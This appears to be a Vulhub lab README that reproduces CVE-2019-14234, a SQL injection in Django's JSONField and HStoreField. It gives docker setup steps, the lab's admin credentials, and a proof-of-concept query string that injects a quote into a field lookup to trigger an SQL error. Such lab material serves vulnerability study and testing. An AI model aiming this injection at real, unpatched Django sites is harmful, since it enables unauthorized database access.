vulhub/django/CVE-2019-14234/README.md

Django JSONField/HStoreField SQL Injection (CVE-2019-14234)

中文版本(Chinese version)

Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design.

Django released a security update on August 1, 2019, which fixes a SQL injection vulnerability in the JSONField and HStoreField model fields. This vulnerability affects Django versions before 2.2.4, 2.1.11, and 1.11.23.

The vulnerability requires the developer to use JSONField/HStoreField, and the field name of the queryset can be controlled by the user. Django's built-in admin interface is affected by this vulnerability, providing an easy way to demonstrate the issue.

References:

• https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
• https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

Environment Setup

Execute the following command to compile and start a vulnerable Django 2.2.3 server:

docker compose build
docker compose up -d

After the server is started, you can access the Django home page at http://your-ip:8000.

Vulnerability Reproduction

First, log in to the Django admin interface at http://your-ip:8000/admin/ using the following credentials:

• Username: admin
• Password: a123123123

Navigate to the Collection model's list view at http://your-ip:8000/admin/vuln/collection/:

To exploit the SQL injection vulnerability, add detail__a'b=123 to the GET parameters, where detail is the JSONField:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

The SQL error message will be displayed, confirming the successful injection: